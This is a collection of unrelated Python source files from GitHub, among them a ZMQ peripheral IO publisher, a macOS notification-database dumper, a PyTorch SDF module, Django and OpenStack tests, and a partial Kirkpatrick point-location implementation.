"dataset": "github-code", "pt": "7", "api": [{"api_name": "socket.gethostbyname", "line_number": 8, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 8, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 11, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 12, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 17, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 48, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 63, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 64, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 83, "usage_type": "call"}]} {"seq_id": "41073092659", "text": "import zmq\nfrom ..peripheral_models.peripheral_server import encode_zmq_msg, decode_zmq_msg\nfrom .ioserver import IOServer\nimport logging\nlog = logging.getLogger(__name__)\n\n\nclass GenericPrintServer(object):\n \n def __init__(self, ioserver, subscribe_topic=None):\n self.ioserver = ioserver\n self.prev_print = None\n if subscribe_topic is not None:\n ioserver.register_topic(subscribe_topic, self.write_handler)\n\n def write_handler(self, ioserver, msg):\n\n data = ['%s: %s'%(key,data.decode('latin-1')) in msg.items()]\n print(\"Got: %s\" %\"\".join(data))\n \n def send_data(self, topic, id, chars):\n d = {'interface_id': id, 'char': chars}\n log.debug(\"Sending Message (%s) %s\" % (topic, str(d)))\n self.ioserver.send_msg(topic, d)\n\n\nif __name__ == '__main__':\n from argparse import ArgumentParser\n p = ArgumentParser()\n p.add_argument('-r', '--rx_port', default=5556,\n help='Port number to receive zmq messages for IO on')\n p.add_argument('-t', '--tx_port', default=5555,\n help='Port number to send IO messages via zmq')\n p.add_argument('--tx_topic', default=\"Peripheral.UTTYModel.rx_char_or_buf\")\n p.add_argument('--rx_topic', default=None)\n p.add_argument('-i', '--tx_id', default='COM1',\n help=\"Id to use when sending data\")\n p.add_argument('-n', '--newline', default=False, action='store_true',\n help=\"Append Newline\")\n args = p.parse_args()\n\n import halucinator.hal_log as hal_log\n hal_log.setLogConfig()\n \n io_server = IOServer(args.rx_port, args.tx_port)\n gen_server = GenericPrintServer(io_server, args.rx_topic)\n\n io_server.start()\n\n try:\n while(1):\n data = input()\n log.debug(\"Got %s\" % str(data))\n if args.newline:\n data +=\"\\n\"\n if data == '\\\\n':\n data = '\\r\\n'\n elif data == '':\n break\n #d = {'id':args.id, 'data': data}\n \n gen_server.send_data(args.tx_topic, args.tx_id, data)\n except KeyboardInterrupt:\n pass\n log.info(\"Shutting Down\")\n io_server.shutdown()\n # io_server.join()\n", "repo_name": "sandialabs/halucinator", "sub_path": "src/halucinator/external_devices/publish_topic.py", "file_name": "publish_topic.py", "file_ext": "py", "file_size_in_byte": 2245, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 25, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 5, "usage_type": "call"}, {"api_name": "ioserver.register_topic", "line_number": 14, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 29, "usage_type": "call"}, {"api_name": "halucinator.hal_log.setLogConfig", "line_number": 43, "usage_type": "call"}, {"api_name": "halucinator.hal_log", "line_number": 43, "usage_type": "name"}, {"api_name": "ioserver.IOServer", "line_number": 45, "usage_type": "call"}]} {"seq_id": "16072584993", "text": "import unittest\nimport madsenlab.axelrod.analysis as stats\nimport logging as log\n\n\nclass MathFunctionsTest(unittest.TestCase):\n\n\n def test_num_nodes_balanced_tree(self):\n branching = 3\n height = 4\n expected = 121\n\n obs = stats.num_nodes_balanced_tree(branching,height)\n log.info(\"numnodes balanced tree: obs %s exp: %s\", obs, expected)\n self.assertEqual(obs,expected)\n\n\n def test_num_rooted_trees(self):\n \"\"\"\n Tests the approximation r(n) from Otter 1948 against values of r(n) calculated\n via recursion formula #2 by Li 1996\n\n \"\"\"\n tests = [6,10,12,14]\n ans = [20,719,4766,32973]\n\n for n in tests:\n rn = stats.num_rooted_trees_otter_approx(n)\n\n self.assertTrue(True)\n\n def test_num_trees_with_leaves(self):\n\n n = 341\n k = 256\n\n snk = stats.num_ordered_trees_by_leaves(n, k)\n\n\n\nif __name__ == \"__main__\":\n unittest.main()", "repo_name": "mmadsen/axelrod-ct", "sub_path": "test/test_math_functions.py", "file_name": "test_math_functions.py", "file_ext": "py", "file_size_in_byte": 964, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "unittest.TestCase", "line_number": 6, "usage_type": "attribute"}, {"api_name": "madsenlab.axelrod.analysis.num_nodes_balanced_tree", "line_number": 14, "usage_type": "call"}, {"api_name": "madsenlab.axelrod.analysis", "line_number": 14, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 15, "usage_type": "call"}, {"api_name": "madsenlab.axelrod.analysis.num_rooted_trees_otter_approx", "line_number": 29, "usage_type": "call"}, {"api_name": "madsenlab.axelrod.analysis", "line_number": 29, "usage_type": "name"}, {"api_name": "madsenlab.axelrod.analysis.num_ordered_trees_by_leaves", "line_number": 38, "usage_type": "call"}, {"api_name": "madsenlab.axelrod.analysis", "line_number": 38, "usage_type": "name"}, {"api_name": "unittest.main", "line_number": 43, "usage_type": "call"}]} {"seq_id": "69942382624", "text": "#!/usr/bin/env python3\n\n\"\"\" MacOS Notification Database Dumper\n\nThis simple python script dumps all notification items from the MacOS Notification\ndatabase to stdout.\n\nThis program is free software: you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free Software\nFoundation, either version 3 of the License, or (at your option) any later\nversion.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT\nANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with\nthis program. If not, see .\n\n\"\"\"\n\n__author__ = \"Andreas Thienemann\"\n__copyright__ = \"Copyright 2018-2019, Andreas Thienemann\"\n\nimport sqlite3\nfrom platform import mac_ver\nfrom sqlite3 import Error\nimport subprocess\nimport os\nimport biplist\nimport pprint\nimport datetime\n\n\ndef mac_epoch_to_datetime(input):\n '''Returns a datetime object for a MacOS epoch timestamp'''\n epoch_base = datetime.datetime.strptime(\"01-01-2001\", \"%m-%d-%Y\")\n timedelta = datetime.timedelta(seconds=data['date'])\n return epoch_base + timedelta\n\n\ndarwin_user_dir = subprocess.check_output(['/usr/bin/getconf', 'DARWIN_USER_DIR']).rstrip()\nnc_db = os.path.join(darwin_user_dir, b'com.apple.notificationcenter/db2/db')\n\nconn = sqlite3.connect(nc_db)\nconn.row_factory = sqlite3.Row\ncursor = conn.execute(\"SELECT data from record\");\n\nnotifications = []\n\nfor row in cursor:\n plist = biplist.readPlistFromString(row[0])\n try:\n data = {'app': plist.get('app', 'Unknown'),\n 'date': plist.get('date', plist['req'].get('trig', {}).get('date', 'Unknown')),\n 'title': plist.get('req', {}).get('titl', 'None'),\n 'body': plist.get('req', {}).get('body', 'None')}\n except KeyError:\n pprint.pprint(plist)\n data.update({'date': mac_epoch_to_datetime(data['date'])})\n notifications.append(data)\n\nfor n in notifications:\n print(n['date'].strftime('%x %X'), n['title'], n['body'][0:80].replace('\\n', ' - ') + '...')\n", "repo_name": "ixs/notification-dump", "sub_path": "dump-notif.py", "file_name": "dump-notif.py", "file_ext": "py", "file_size_in_byte": 2170, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 37, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 38, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlite3.Row", "line_number": 46, "usage_type": "attribute"}, {"api_name": "biplist.readPlistFromString", "line_number": 52, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 59, "usage_type": "call"}]} {"seq_id": "10973867677", "text": "from abc import ABC, abstractmethod\nfrom typing import Optional, Tuple, Union\nimport tinycudann as tcnn\nimport torch\nfrom torch import nn\nfrom enum import Enum\n\n\nclass GradComputationType(Enum):\n ANALYTICAL = 1\n NUMERICAL = 2\n\n\nclass GradientParameters:\n def __init__(self,\n computation_type: GradComputationType = GradComputationType.ANALYTICAL,\n delta: float = 1e-3):\n self.computation_type = computation_type\n self.delta = delta\n\n\nclass SDF(nn.Module, ABC):\n grad_parameters: GradientParameters\n\n def __init__(self, grad_parameters) -> None:\n super().__init__()\n if grad_parameters is None:\n grad_parameters = GradientParameters()\n \n self.grad_parameters = grad_parameters\n\n @abstractmethod\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n pass\n\n def forward_with_grad(self, x: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]:\n \"\"\" Forward pass with gradient w.r.t. x computation\n Args:\n x (torch.Tensor): Input tensor\n\n Raises:\n ValueError: Unknown grad computation type\n\n Returns:\n Tuple[torch.Tensor, torch.Tensor]: Tuple of values and gradients\n \"\"\"\n if self.grad_parameters.computation_type == GradComputationType.ANALYTICAL:\n return self._forward_analytical(x, False)\n if self.grad_parameters.computation_type == GradComputationType.NUMERICAL:\n return self._forward_numerical(x, False)\n\n raise ValueError(\"Unknown grad computation type\")\n\n def forward_with_grad_and_laplacian(self, x: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n \"\"\" Forward pass with gradient w.r.t. x and laplacian computation\n Args:\n x (torch.Tensor): Input tensor\n\n Raises:\n ValueError: Unknown grad computation type\n\n Returns:\n Tuple[torch.Tensor, torch.Tensor, torch.Tensor]: Tuple of values, gradients and laplacians\n \"\"\"\n\n if self.grad_parameters.computation_type == GradComputationType.ANALYTICAL:\n return self._forward_analytical(x, True)\n if self.grad_parameters.computation_type == GradComputationType.NUMERICAL:\n return self._forward_numerical(x, True)\n\n raise ValueError(\"Unknown grad computation type\")\n\n def _forward_analytical(self, x: torch.Tensor, return_laplacian: bool) -> Union[Tuple[torch.Tensor, torch.Tensor, torch.Tensor], Tuple[torch.Tensor, torch.Tensor]]:\n with torch.enable_grad():\n input_requires_grad = x.requires_grad\n x.requires_grad_(True)\n values = self.forward(x)\n (gradient,) = torch.autograd.grad(\n outputs=values.sum(),\n inputs=x,\n retain_graph=True,\n create_graph=self.training,\n )\n\n if return_laplacian:\n laplacian = self._divergence(gradient, x)\n\n if not input_requires_grad:\n x.requires_grad_(False)\n\n if return_laplacian:\n return values, gradient, laplacian\n\n return values, gradient\n\n def _forward_numerical(self, x: torch.Tensor, return_laplacian: bool) -> Union[Tuple[torch.Tensor, torch.Tensor, torch.Tensor], Tuple[torch.Tensor, torch.Tensor]]:\n assert x.ndim == 2\n assert x.shape[1] == 3\n delta = self.grad_parameters.delta\n\n offsets = torch.as_tensor(\n [\n [delta, 0.0, 0.0],\n [-delta, 0.0, 0.0],\n [0.0, delta, 0.0],\n [0.0, -delta, 0.0],\n [0.0, 0.0, delta],\n [0.0, 0.0, -delta],\n [0.0, 0.0, 0.0],\n ],\n dtype=x.dtype,\n ).to(x)\n\n x = x.unsqueeze(-2) + offsets.unsqueeze(0)\n\n distances = self.forward(x.view(-1, 3))\n distances = distances.view(-1, 7)\n gradients = torch.stack(\n [\n 0.5 * (distances[:, 0] - distances[:, 1]) / (delta + 1e-6),\n 0.5 * (distances[:, 2] - distances[:, 3]) / (delta + 1e-6),\n 0.5 * (distances[:, 4] - distances[:, 5]) / (delta + 1e-6),\n ],\n dim=-1,\n )\n values = distances[:, 6, None]\n\n if return_laplacian:\n # calculate laplacian with finite differences\n laplacian = (\n distances[:, 0]\n + distances[:, 1]\n + distances[:, 2]\n + distances[:, 3]\n + distances[:, 4]\n + distances[:, 5]\n - 6 * distances[:, 6]\n ) / (delta ** 2 + 1e-6)\n\n return values, gradients, laplacian\n\n return values, gradients\n\n def _divergence(self, y: torch.Tensor, x: torch.Tensor) -> torch.Tensor:\n (dx,) = torch.autograd.grad(y[:, 0].sum(),\n x, create_graph=True, retain_graph=True)\n (dy,) = torch.autograd.grad(y[:, 1].sum(),\n x, create_graph=True, retain_graph=True)\n (dz,) = torch.autograd.grad(y[:, 2].sum(),\n x, create_graph=True, retain_graph=True)\n\n div = dx[:, 0] + dy[:, 1] + dz[:, 2]\n return div\n", "repo_name": "DukeGonzo/NeuralSDF", "sub_path": "models/sdf.py", "file_name": "sdf.py", "file_ext": "py", "file_size_in_byte": 5320, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "enum.Enum", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "abc.ABC", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 33, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 36, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 54, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 73, "usage_type": "attribute"}, {"api_name": "torch.enable_grad", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 78, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 73, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 96, "usage_type": "attribute"}, {"api_name": "torch.as_tensor", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 118, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 96, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 96, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 144, "usage_type": "attribute"}, {"api_name": "torch.autograd.grad", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 145, "usage_type": "attribute"}, {"api_name": "torch.autograd.grad", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 147, "usage_type": "attribute"}, {"api_name": "torch.autograd.grad", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 149, "usage_type": "attribute"}]} {"seq_id": "71930320863", "text": "import sys\n\nsys.path.append('frontend')\n\nimport os\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"frontend.settings\")\n\nimport unittest\nimport mock\n\nimport django\ndjango.setup()\n\nfrom cats import views as cat_views\n\n\nclass BreedViewTest(unittest.TestCase):\n def setUp(self):\n self.data_facade = mock.Mock()\n facade_patcher = mock.patch(\"cats.views.settings.FACADE_CLASS\", return_value=self.data_facade)\n facade_patcher.start()\n\n render_patcher = mock.patch(\"cats.views.render\")\n self.mock_render = render_patcher.start()\n\n breed_form_patcher = mock.patch(\"cats.views.BreedForm\")\n self.breed_form = breed_form_patcher.start()\n\n def test_breed_list(self):\n request = mock.Mock()\n expected_response = self.mock_render.return_value\n\n expected_context = {\n 'single_view_name': 'single_breed',\n 'objects': self.data_facade.get_all_breeds.return_value\n }\n\n actual_response = cat_views.breeds(request)\n\n self.assertEqual(actual_response, expected_response)\n self.mock_render.assert_called_with(request, 'object_list.html', expected_context)\n\n def test_single_breed_get_existing(self):\n request = mock.Mock()\n expected_response = self.mock_render.return_value\n\n breed_id = '42'\n\n expected_initial = {\n 'name': self.data_facade.get_breed.return_value.name\n }\n\n expected_context = {\n 'form': self.breed_form.return_value,\n 'nice_name': 'Breed'\n }\n\n actual_response = cat_views.single_breed(request, breed_id)\n\n self.breed_form.assert_called_with(initial=expected_initial)\n self.data_facade.get_breed.assert_called_with(42)\n self.mock_render.assert_called_with(request, 'single_object.html', expected_context)\n\n self.assertEqual(actual_response, expected_response)\n\n def test_single_breed_get_new(self):\n request = mock.Mock()\n expected_response = self.mock_render.return_value\n\n breed_id = 'new'\n\n expected_initial = {\n 'name': ''\n }\n\n expected_context = {\n 'form': self.breed_form.return_value,\n 'nice_name': 'Breed'\n }\n\n actual_response = cat_views.single_breed(request, breed_id)\n\n self.breed_form.assert_called_with(initial=expected_initial)\n self.assertFalse(self.data_facade.get_breed.called)\n self.mock_render.assert_called_with(request, 'single_object.html', expected_context)\n\n self.assertEqual(actual_response, expected_response)\n", "repo_name": "beneboy/catdb", "sub_path": "good/tests/views/cat_view_test.py", "file_name": "cat_view_test.py", "file_ext": "py", "file_size_in_byte": 2657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.environ.setdefault", "line_number": 7, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.setup", "line_number": 13, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 18, "usage_type": "attribute"}, {"api_name": "mock.Mock", "line_number": 20, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 21, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 24, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 27, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 31, "usage_type": "call"}, {"api_name": "cats.views.breeds", "line_number": 39, "usage_type": "call"}, {"api_name": "cats.views", "line_number": 39, "usage_type": "name"}, {"api_name": "mock.Mock", "line_number": 45, "usage_type": "call"}, {"api_name": "cats.views.single_breed", "line_number": 59, "usage_type": "call"}, {"api_name": "cats.views", "line_number": 59, "usage_type": "name"}, {"api_name": "mock.Mock", "line_number": 68, "usage_type": "call"}, {"api_name": "cats.views.single_breed", "line_number": 82, "usage_type": "call"}, {"api_name": "cats.views", "line_number": 82, "usage_type": "name"}]} {"seq_id": "71309565022", "text": "# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nfrom openstack.network.v2 import network\nfrom openstack.network.v2 import subnet\nfrom openstack.tests.functional import base\n\n\nclass TestSubnet(base.BaseFunctionalTest):\n IPV4 = 4\n CIDR = \"10.100.0.0/24\"\n DNS_SERVERS = [\"8.8.4.4\", \"8.8.8.8\"]\n POOL = [{\"start\": \"10.100.0.2\", \"end\": \"10.100.0.253\"}]\n ROUTES = [{\"destination\": \"10.101.0.0/24\", \"nexthop\": \"10.100.0.254\"}]\n NET_ID = None\n SUB_ID = None\n\n def setUp(self):\n super(TestSubnet, self).setUp()\n self.NET_NAME = self.getUniqueString()\n self.SUB_NAME = self.getUniqueString()\n self.UPDATE_NAME = self.getUniqueString()\n net = self.user_cloud.network.create_network(name=self.NET_NAME)\n assert isinstance(net, network.Network)\n self.assertEqual(self.NET_NAME, net.name)\n self.NET_ID = net.id\n sub = self.user_cloud.network.create_subnet(\n name=self.SUB_NAME,\n ip_version=self.IPV4,\n network_id=self.NET_ID,\n cidr=self.CIDR,\n dns_nameservers=self.DNS_SERVERS,\n allocation_pools=self.POOL,\n host_routes=self.ROUTES,\n )\n assert isinstance(sub, subnet.Subnet)\n self.assertEqual(self.SUB_NAME, sub.name)\n self.SUB_ID = sub.id\n\n def tearDown(self):\n sot = self.user_cloud.network.delete_subnet(self.SUB_ID)\n self.assertIsNone(sot)\n sot = self.user_cloud.network.delete_network(\n self.NET_ID, ignore_missing=False\n )\n self.assertIsNone(sot)\n super(TestSubnet, self).tearDown()\n\n def test_find(self):\n sot = self.user_cloud.network.find_subnet(self.SUB_NAME)\n self.assertEqual(self.SUB_ID, sot.id)\n\n def test_get(self):\n sot = self.user_cloud.network.get_subnet(self.SUB_ID)\n self.assertEqual(self.SUB_NAME, sot.name)\n self.assertEqual(self.SUB_ID, sot.id)\n self.assertEqual(self.DNS_SERVERS, sot.dns_nameservers)\n self.assertEqual(self.CIDR, sot.cidr)\n self.assertEqual(self.POOL, sot.allocation_pools)\n self.assertEqual(self.IPV4, sot.ip_version)\n self.assertEqual(self.ROUTES, sot.host_routes)\n self.assertEqual(\"10.100.0.1\", sot.gateway_ip)\n self.assertTrue(sot.is_dhcp_enabled)\n\n def test_list(self):\n names = [o.name for o in self.user_cloud.network.subnets()]\n self.assertIn(self.SUB_NAME, names)\n\n def test_update(self):\n sot = self.user_cloud.network.update_subnet(\n self.SUB_ID, name=self.UPDATE_NAME\n )\n self.assertEqual(self.UPDATE_NAME, sot.name)\n\n def test_set_tags(self):\n sot = self.user_cloud.network.get_subnet(self.SUB_ID)\n self.assertEqual([], sot.tags)\n\n self.user_cloud.network.set_tags(sot, [\"blue\"])\n sot = self.user_cloud.network.get_subnet(self.SUB_ID)\n self.assertEqual([\"blue\"], sot.tags)\n\n self.user_cloud.network.set_tags(sot, [])\n sot = self.user_cloud.network.get_subnet(self.SUB_ID)\n self.assertEqual([], sot.tags)\n", "repo_name": "openstack/openstacksdk", "sub_path": "openstack/tests/functional/network/v2/test_subnet.py", "file_name": "test_subnet.py", "file_ext": "py", "file_size_in_byte": 3592, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 245, "dataset": "github-code", "pt": "7", "api": [{"api_name": "openstack.tests.functional.base.BaseFunctionalTest", "line_number": 19, "usage_type": "attribute"}, {"api_name": "openstack.tests.functional.base", "line_number": 19, "usage_type": "name"}, {"api_name": "openstack.network.v2.network.Network", "line_number": 34, "usage_type": "attribute"}, {"api_name": "openstack.network.v2.network", "line_number": 34, "usage_type": "name"}, {"api_name": "openstack.network.v2.subnet.Subnet", "line_number": 46, "usage_type": "attribute"}, {"api_name": "openstack.network.v2.subnet", "line_number": 46, "usage_type": "name"}]} {"seq_id": "46094981114", "text": "import matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nfrom matplotlib import collections as mc\n\nfrom scipy.spatial import Delaunay\nfrom scipy.spatial import ConvexHull\nfrom scipy.spatial import delaunay_plot_2d\nfrom scipy.spatial import convex_hull_plot_2d\nfrom random import randint\nimport numpy as np\nimport time\nimport itertools\nimport Tools as tools\n\nfrom MyGraph import MyGraph, Piece\n\n# class that performs Kirkpatrick's location method\nclass Kirkpatrick:\n\t# max degree allowed to create independent set\n\tMAX_DEGREE = 8\n\t# first 3 points in list are the bounding triangle\n\tPOINT_START = 3\n\n\tdef __init__(self, points):\n\t\t# all initial instance variables\n\t\tself.points = [tools.roundPoint(point) for point in points]\n\t\t# an instance of used to build DAG location structure\n\t\tself.g = None\n\t\t# root node of DAG\n\t\tself.root = None\n\t\t# untouched version of fine graph because gets destroyed during building process\n\t\tself.untouchedG = None\n\t\t# total number of points\n\t\tself.N = 0\n\n\t\t# get convex hull of graph before adding bounding triangle\n\t\tch = ConvexHull(self.points)\n\t\tinterior = [i + Kirkpatrick.POINT_START for i in ch.vertices]\n\n\t\t# add bounding triangle to graph\n\t\tboundingTriangle = self.getBoundingTriangle(self.points)\n\t\tfor point in boundingTriangle:\n\t\t\tself.points.insert(0, tools.roundPoint(point))\n\t\n\t\t# pieces\n\t\tpieces = []\n\n\t\t# get exterior triangle\n\t\texterior = [0, 1, 2]\n\n\t\t# get non-interior triangulation and add to pieces collection\n\t\texteriorTri = tools.triangulateRing(self.points, exterior, interior)\n\t\tfor triangle in exteriorTri:\n\t\t\tpieces.append(Piece(triangle, isLeaf=True, isInside=False))\n\n\t\t# now get interior triangulation and add to pieces collection\n\t\tinteriorTri = Delaunay(points)\n\t\tinteriorTri = [[i + Kirkpatrick.POINT_START for i in tri] for tri in interiorTri.simplices]\n\t\tfor triangle in interiorTri:\n\t\t\tpieces.append(Piece(triangle, isLeaf=True, isInside=True))\n\t\t\n\t\t# number of points in graph\n\t\tself.N = len(self.points)\n\n\t\t# have all the points, now create graph\n\t\tself.g = MyGraph(self.points, pieces)\n\t\tself.untouchedG = MyGraph(self.points, pieces)\n\n\t\t#self.g.drawMe()\n\t\t## keep building DAG until only bounding triangle points are left\n\t\twhile (self.g.currentN > 3):\n\t\t\tself.root = self.getNextLayer()\n\t\t\t#self.g.drawMe()\n\t\tassert (len(self.root) == 1)\n\n\t\tself.root = self.root[0]\n\n\t# get bounding triangle to all points on graph and return\n\t# assumes points do not all lie on a line...\n\tdef getBoundingTriangle(self, pointSet):\n\t\txCoordinates = [row[0] for row in pointSet]\n\t\tyCoordinates = [row[1] for row in pointSet]\n\t\t\n\t\t# get a bounding box\n\t\txMin = float(min(xCoordinates) - 1)\n\t\txMax = float(max(xCoordinates) + 1)\n\t\tyMin = float(min(yCoordinates) - 1)\n\t\tyMax = float(max(yCoordinates) + 1)\n\n\t\theight = yMax - yMin\n\t\twidth = xMax - xMin\n\n\t\t# get triangle tip point\n\t\ttip = [(xMin + xMax)/2, height + yMax]\n\n\t\tyMin = yMin - height\n\n\t\t# left corner\n\t\tboxCorner = [xMin, yMax]\n\t\tm = (boxCorner[1] - tip[1])/(boxCorner[0] - tip[0])\n\t\tb = boxCorner[1] - m * boxCorner[0]\n\t\tleftCorner = [((yMin - b)/m)*1.5, yMin]\n\n\t\t# right corner\n\t\tboxCorner = [xMax, yMax]\n\t\tm = (boxCorner[1] - tip[1])/(boxCorner[0] - tip[0])\n\t\tb = boxCorner[1] - m * boxCorner[0]\n\t\trightCorner = [((yMin - b)/m)*1.5, yMin]\n\n\t\treturn [leftCorner, tip, rightCorner]\n\n\t# find an independent set using and return\n\t# used by constructor for building kirkpatrick's DAG datastructure\n\tdef findIndependentSet(self):\n\t\t# all nodes initially unmarked\n\t\t# except for points on bounding triangle\n\t\tmarked = np.zeros(self.N, dtype = bool)\n\t\tfor i in xrange(0, Kirkpatrick.POINT_START):\n\t\t\tmarked[i] = True\n\n\t\t# mark all nodes with degree greater than \n\t\tfor i in xrange(Kirkpatrick.POINT_START, self.N):\n\t\t\tif not self.g.isActive(i):\n\t\t\t\tmarked[i] = True\n\t\t\telif self.g.degree(i) > Kirkpatrick.MAX_DEGREE:\n\t\t\t\tmarked[i] = True\n\n\t\tindependentSet = []\n\n\t\t# add nodes to independent set and mark it + neighbors\n\t\t# keep adding nodes to set until all nodes are marked\n\t\tfor i in xrange(Kirkpatrick.POINT_START, self.N):\n\t\t\t# if not marked yet...\n\t\t\tif not marked[i]:\n\t\t\t\t# add to set\n\t\t\t\tindependentSet.append(i)\n\t\t\t\t# mark it and neighbors\n\t\t\t\tmarked[i] = True\n\t\t\t\tfor neighbor in self.g.getNeighbors(i):\n\t\t\t\t\tmarked[neighbor] = True\n\n\t\treturn independentSet\n\n\t# generate the next layer of coarser triangles\n\t# should not be used if only bounding triangle points are left\n\tdef getNextLayer(self):\n\t\t# get the independent set\n\t\tindepSet = self.findIndependentSet()\n\n\t\t# for each vertex in indep set..\n\t\tfor vertex in indepSet:\n\t\t\t# get surrounding polygon\n\t\t\tpolygonHole = self.g.getSurroundingPolygon(vertex)\n\n\t\t\t# triangulate hole and get triangles\n\t\t\ttriangulation = tools.triangulatePolygon(self.points, polygonHole)\n\t\t\t\n\t\t\t# create pieces out of triangles\n\t\t\tpieces = []\n\t\t\tfor triangle in triangulation:\n\t\t\t\tpieces.append(Piece(triangle, self.g.getIntersectingPiecesAtP(vertex, triangle)))\n\n\t\t\t# remove vertex from graph\n\t\t\tself.g.removeVertex(vertex)\n\n\t\t\t# add new faces to graph\n\t\t\tfor piece in pieces:\n\t\t\t\tself.g.addPiece(piece)\n\n\t\treturn pieces\n\n\tdef drawGraph(self, edges):\n\t\tlines = []\n\t\tfor edge in edges:\n\t\t\tlines.append([self.points[edge[0]], self.points[edge[1]]])\n\t\tlc = mc.LineCollection(lines, linewidths=1)\n\t\tfig, ax = plt.subplots()\n\t\tax.add_collection(lc)\n\t\tax.autoscale()\n\t\tax.margins(0.1)\n\t\tplt.show()\n\n\t# find triangle point is in\n\t# if not in bounding triangle, returns a dict with key 'inside' set to False\n\t# if inside bounding triangle, returns coordinates of triangle in a dict\n\t# dict also has key 'inside' set to true or false depending on whether\n\t# located triangle is inside the convex hull of the supplied points\n\tdef locate(self, q):\n\t\ttraveler = self.root\n\n\t\t# not inside triangle\n\t\tif (not tools.insideTriangle(self.points[traveler.p1], self.points[traveler.p2], self.points[traveler.p3], q)):\n\t\t\treturn {'inside': False}\n\n\t\t# inside bounding triangle\n\t\t# find triangle\n\t\twhile (not traveler.leaf()):\n\t\t\tfound = False\n\t\t\tfor child in traveler.children:\n\t\t\t\tif (tools.insideTriangle(self.points[child.p1], self.points[child.p2], self.points[child.p3], q)):\n\t\t\t\t\ttraveler = child;\n\t\t\t\t\tfound = True\n\t\t\t\t\tbreak\n\t\t\tassert (found)\n\n\t\tlocation = {}\n\t\tlocation['inside'] = traveler.inside()\n\t\tlocation['p1'] = self.points[traveler.p1]\n\t\tlocation['p2'] = 